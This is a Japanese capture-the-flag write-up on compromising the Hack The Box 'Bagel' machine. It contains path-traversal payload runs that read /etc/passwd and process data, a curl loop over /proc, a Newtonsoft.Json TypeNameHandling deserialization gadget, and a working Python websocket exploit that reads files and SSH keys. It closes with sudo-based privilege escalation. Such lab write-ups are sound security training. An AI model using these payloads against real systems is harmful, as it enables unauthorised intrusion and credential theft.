初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Bagel」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
Discovery
ポートスキャン
今回はRustScanで高速スキャンしてみた。
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.201 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.201:22
Open 10.10.11.201:5000
Open 10.10.11.201:8000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 02:21 EST
Initiating Ping Scan at 02:21
Scanning 10.10.11.201 [4 ports]
Completed Ping Scan at 02:21, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:21
Completed Parallel DNS resolution of 1 host. at 02:21, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 02:21
Scanning 10.10.11.201 [3 ports]
Discovered open port 5000/tcp on 10.10.11.201
Discovered open port 22/tcp on 10.10.11.201
Discovered open port 8000/tcp on 10.10.11.201
Completed SYN Stealth Scan at 02:21, 0.22s elapsed (3 total ports)
Nmap scan report for 10.10.11.201
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2023-02-23 02:21:57 EST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
ポート22、5000、8000が公開されてそう。
実際に8000にアクセスしてみると、「bagel.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。
8000なのでなんとなくPython環境の予感...
Collection - 1
ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
/etc/hosts
をいじっていく。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.10.11.201 bagel.htb
疎通確認を行う。
┌──(root㉿kali)-[~/work]
└─# ping bagel.htb
PING bagel.htb (10.10.11.201) 56(84) bytes of data.
64 bytes from bagel.htb (10.10.11.201): icmp_seq=1 ttl=63 time=180 ms
64 bytes from bagel.htb (10.10.11.201): icmp_seq=2 ttl=63 time=190 ms
64 bytes from bagel.htb (10.10.11.201): icmp_seq=3 ttl=63 time=179 ms
^C
--- bagel.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 178.978/183.221/190.315/5.047 ms
サイト探索
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffuf
で探索。
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://bagel.htb:8000/ -H "HOST: FUZZ.bagel.htb:8000" -fs 263 -mc all -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://bagel.htb:8000/
:: Wordlist : FUZZ: ./bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.bagel.htb:8000
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response size: 263
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 384 req/sec :: Duration: [0:06:38] :: Errors: 0 ::
特段いいいものはない。
ディレクトリ探索
dirsearch
を使用して探索を実施。
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://bagel.htb:8000/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/bagel.htb-8000/-_23-02-23_02-25-13.txt
Error Log: /root/.dirsearch/logs/errors-23-02-23_02-25-13.log
Target: http://bagel.htb:8000/
[02:25:13] Starting:
[02:27:54] 200 - 267B - /orders
Task Completed
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://bagel.htb:8000/orders/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/bagel.htb-8000/-orders-_23-02-23_02-30-29.txt
Error Log: /root/.dirsearch/logs/errors-23-02-23_02-30-29.log
Target: http://bagel.htb:8000/orders/
[02:30:30] Starting:
Task Completed
/orders
階層を発見する。
ffuf
でも同様のものを発見できた。更に探索を進めていく。
`page``クエリでルーティングしてそうなのでその他にページがないか探索していく。
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://bagel.htb:8000/?page=FUZZ.html -t 150 -fs 14
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://bagel.htb:8000/?page=FUZZ.html
:: Wordlist : FUZZ: ./directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 14
________________________________________________
index [Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 332ms]
:: Progress: [87664/87664] :: Job [1/1] :: 164 req/sec :: Duration: [0:09:01] :: Errors: 0 ::
まぁ、index.html
くらいしか出てこなかった。
Initial Access
まぁここら辺の定石から攻めていく。
pageクエリでディレクトリトラバーサルを実行していく。
directory traversal attack
以下のようにペイロードリストを引っ張ってくる。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
レッツトライ!
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./LFI-LFISuite-pathtotest-huge.txt:FUZZ -u http://bagel.htb:8000/?page=FUZZ -t 150 -fs 14
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://bagel.htb:8000/?page=FUZZ
:: Wordlist : FUZZ: ./LFI-LFISuite-pathtotest-huge.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 14
________________________________________________
../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 219ms]
../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 238ms]
../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 236ms]
../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 239ms]
../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 243ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 251ms]
../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 251ms]
../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 255ms]
../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 256ms]
../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 257ms]
../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 256ms]
../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 258ms]
../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 260ms]
../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 261ms]
../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 259ms]
../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 274ms]
../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 276ms]
../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 280ms]
../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 283ms]
../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 283ms]
../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 294ms]
../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 294ms]
../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 295ms]
../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 297ms]
../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 307ms]
../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 306ms]
../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 310ms]
../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 314ms]
../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 311ms]
../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 313ms]
../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 314ms]
../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 316ms]
../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 317ms]
../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 317ms]
../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 319ms]
../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 320ms]
../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 321ms]
../../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 323ms]
../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 323ms]
../../../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 324ms]
../../../../../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 326ms]
../../../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 326ms]
../../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 350ms]
../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 353ms]
../../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 356ms]
../../../../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 360ms]
../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 360ms]
../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 364ms]
../../../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 355ms]
../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 366ms]
../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 367ms]
../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 366ms]
../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 369ms]
../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 373ms]
../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 370ms]
../../../../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 372ms]
../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 383ms]
../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 383ms]
../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 383ms]
../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 384ms]
../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 204ms]
../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 192ms]
../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 197ms]
../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 198ms]
../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 199ms]
../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 201ms]
../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 204ms]
../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 206ms]
../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 207ms]
../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 209ms]
../../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 211ms]
../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 211ms]
../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 212ms]
../../../../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 208ms]
../../../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 210ms]
../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 207ms]
../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 213ms]
../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 213ms]
../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 213ms]
../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 218ms]
../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 222ms]
../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 223ms]
../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 222ms]
../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 223ms]
../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 225ms]
../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 218ms]
../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 227ms]
../../../../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 223ms]
../../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 224ms]
../../../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 225ms]
../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 215ms]
../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 221ms]
../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 219ms]
../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 221ms]
../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 223ms]
../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 227ms]
../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1407, Words: 95, Lines: 58, Duration: 221ms]
../../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 221ms]
../../../../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1407, Words: 95, Lines: 58, Duration: 224ms]
../../../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 227ms]
:: Progress: [9513/9513] :: Job [1/1] :: 383 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
ガッツリ引っかかる。実際にetc/passwd
を持ってきた。
多分ダメだろうけど、id_rsa取ってきてみる。
ダメだった。
トラバーサルの結果から/proc/self/cmdline
でプロセスキャッチできそうなのが見える。実際にとって来てみた。
なんとなくこのWebページのコントローラ相当のものかと考えられる(Pythonの命名的にそう)
このPyhtonファイルを取得してくる。
取得できた。以下が実際のコードである。
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
flaskで動かしてるコントローラ相当のPythonソースだった。
/orders
へのルーティングで何やらコメントが書いてある。
# don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
dotnetでdllファイル動かすのを忘れないようにって言っているので何かそういったファイルがあるのだと思う。
(.NET初心者なのでここで青ざめる)
とりあえず取ってくる。/proc
配下はトラバーサルでアクセスできることは見えていることと、現在/orders
階層は動いているため、dllファイルが起動していることを踏まえると
/proc
配下をひたすら探索していくのが吉と考えた。ひたすら探っていく。
Collection - 2
/proc配下の探索
探索の簡易化のために以下のPIDごとにcurlを飛ばすシェルスクリプトを作成した。
for i in `seq 1000`
do
curl http://bagel.htb:8000/?page=../../../../../proc/$i/cmdline -o -;
echo `PID:$i`;:
done
此奴を回してみた。
PIDの900番台辺りでdllが動いていることが見える。Pathは/opt/bagel/bin/Debug/net6.0/bagel.dll
だ
この階層のファイルをトラバーサルで取得してくる。
表層解析
簡単にざっとStringsだけ確認しておく。
┌──(root㉿kali)-[/home/kali/Downloads]
└─# strings bagel.dll
!This program cannot be run in DOS mode.
.text
`.rsrc
@.reloc
,*(%
BSJB
v4.0.30319
#Strings
#GUID
#Blob
<>u__1
IEnumerable`1
Task`1
EventHandler`1
ArraySegment`1
<StartServer>d__6
get_UTF8
<Module>
System.IO
get_Data
System.Collections.Generic
SendAsync
StartAsync
get_UserId
set_UserId
System.Threading.Thread
AwaitUnsafeOnCompleted
get_IsCompleted
add_MessageReceived
userid
<RemoveOrder>k__BackingField
Replace
get_ReadFile
set_ReadFile
get_WriteFile
set_WriteFile
file
order_filename
get_Time
DateTime
System.Runtime
IAsyncStateMachine
SetStateMachine
stateMachine
line
Type
Base
Create
DebuggerBrowsableState
<>1__state
EmbeddedAttribute
CompilerGeneratedAttribute
AttributeUsageAttribute
DebuggableAttribute
NullableAttribute
DebuggerBrowsableAttribute
AssemblyTitleAttribute
AsyncStateMachineAttribute
ObsoleteAttribute
DebuggerStepThroughAttribute
TargetFrameworkAttribute
DebuggerHiddenAttribute
AssemblyFileVersionAttribute
AssemblyInformationalVersionAttribute
AssemblyConfigurationAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
NullableContextAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
Byte
value
Serialize
Deserialize
Flag
System.Threading
Encoding
set_TypeNameHandling
System.Runtime.Versioning
ToString
GetString
Formatting
path
Task
Bagel
bagel
bagel.dll
_Ssl
System
CancellationToken
Main
Join
get_Session
set_Session
session
System.Reflection
SqlConnection
DB_connection
SetException
Newtonsoft.Json
json
order_info
_ServerIp
Sleep
AsyncVoidMethodBuilder
<>t__builder
sender
get_ReadOrder
set_ReadOrder
get_WriteOrder
set_WriteOrder
get_RemoveOrder
set_RemoveOrder
Handler
TaskAwaiter
GetAwaiter
_Server
InitializeServer
WatsonWsServer
StartServer
bagel_server
.ctor
.cctor
System.Diagnostics
System.Runtime.CompilerServices
DebuggingModes
ReadLines
set_AcceptInvalidCertificates
NullableFlags
JsonSerializerSettings
MessageReceivedEventArgs
args
Microsoft.CodeAnalysis
System.Threading.Tasks
Orders
IsSuccess
AttributeTargets
Concat
SerializeObject
DeserializeObject
WatsonWebsocket
op_Implicit
GetResult
SetResult
Microsoft.Data.SqlClient
ReadContent
WriteContent
file_content
get_Count
Start
JsonConvert
get_IpPort
_ServerPort
MoveNext
System.Text
WriteAllText
get_Now
get_Array
directory
op_Inequality
WrapNonExceptionThrows
.NETCoreApp,Version=v6.0
FrameworkDisplayName
bagel
Debug
1.0.0.0
1.0.0
$bagel_server.Bagel+<StartServer>d__6
qThe production team has to decide where the database server will be hosted. This method is not fully implemented.
AllowMultiple
Inherited
AllowMultiple
Inherited
RSDS
/opt/bg1/obj/Debug/net6.0/bagel.pdb
SHA256
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
うん、いい情報はないのでデコンパイルだな。
ここからdllファイルのデコンパイルを行うわけだが、初心者すぎてキツい(´・ω・)...
dll デコンパイル
入手したdllファイルは.NETなのはわかっているので以下のdnSpy
でデコンパイルを行う。
DBにPasswordを発見した。
これでSSHしてみる。
developer
も同様である。秘密鍵をゲットしないといけなさそう。
別のルートでシェルゲットしないといけなさそうである。
もう一度、app.py
の/orders
ルートを確認してみる。
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Port 5000でこのDLLにソケット通信してるようである。
Order
クラスのReadOrder
関数を使用しているように見える。
この関数にはトラバーサル防止の簡易な置換機能が備わっていそうである。
(実際にトラバーサルしたが、うまくいかなかった。)
別の関数を確認するべきだろう。
Credential Access
TypeNameHandling
Handler
クラスにJSON Serialize
の関数があるのがわかる。
これについてちょっと調べてみたら、以下の記事が見つかった。
TypeNameHandling
を用いて以下のようにRCEが出来るといった内容である。(今回はRCEの関数実装がなかったのでReadFile関数を利用し、LFIを実施。)
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": [ "cmd", "/c calc.exe" ]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
これを用いて、File
クラスのReadFile
関数を呼び出すことにした。
ReadOrder
関数ではorder_filename
でstring検証されておそらくできないので、RemoveOrder
を通した。
Payloadとしては以下のようになる。
{
"RemoveOrder" : {
"$type":"bagel_server.File, bagel",
"ReadFile":"../../../../../../<File_Path>"
}
}
此奴を飛ばすためのPythonファイルを自作した。以下のPythonファイルを実行する。
import sys,websocket,json
if len(sys.argv) < 2:
print(f"Warming!!! \n Usage: python3 {sys.argv[0]} <file>\n")
exit(1)
def send_payload(word: str):
ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/")
req = { "RemoveOrder" : {"$type":"bagel_server.File, bagel", "ReadFile":f"../../../../../..{word}"}}
data = str(json.dumps(req))
ws.send(data)
result = ws.recv()
return result
rev = send_payload(sys.argv[1])
print(rev)
LFIの成功である。というわけでjsonの["RemoveOrder"]["ReadFile"]
の階層が見やすくなるようにPythonファイルを改修した。
import sys,websocket,json
if len(sys.argv) < 2:
print(f"Warming!!! \n Usage: python3 {sys.argv[0]} <file>\n")
exit(1)
def send_payload(word: str):
ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/")
req = { "RemoveOrder" : {"$type":"bagel_server.File, bagel", "ReadFile":f"../../../../../..{word}"}}
data = str(json.dumps(req))
ws.send(data)
result = ws.recv()
return result
rev = send_payload(sys.argv[1])
rev = json.loads(rev)["RemoveOrder"]["ReadFile"]
print(rev)
Persistence
抽出したクレデンシャル情報を用いてid_rsa
ファイルを作成しchmod 600 id_rsa
コマンドを実行。
ssh接続を実施すると、アクセス完了となる。
一般ユーザ権限の奪取完了である。
Privilege Escalation - Horizontal
philユーザに権限昇格につながりそうな情報はパッと見てなかった。
※というよりdeveloperユーザの存在と、dllに記載されていたPassword情報から水平方向で権限昇格することは目に見えてる、、、
なので、developerに移ります。
[phil@bagel ~]$ su - developer
これで水平方向での権限昇格は完了です。
Privilege Escalation - Vertical
sudo -l
sudo -l
を打って確認!
[developer@bagel ~]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
dotnetがRoot権限で実行できそう、このコマンドのRoot権限昇格については以下を参考にしてほしい。
速攻で権限昇格できるはずである。
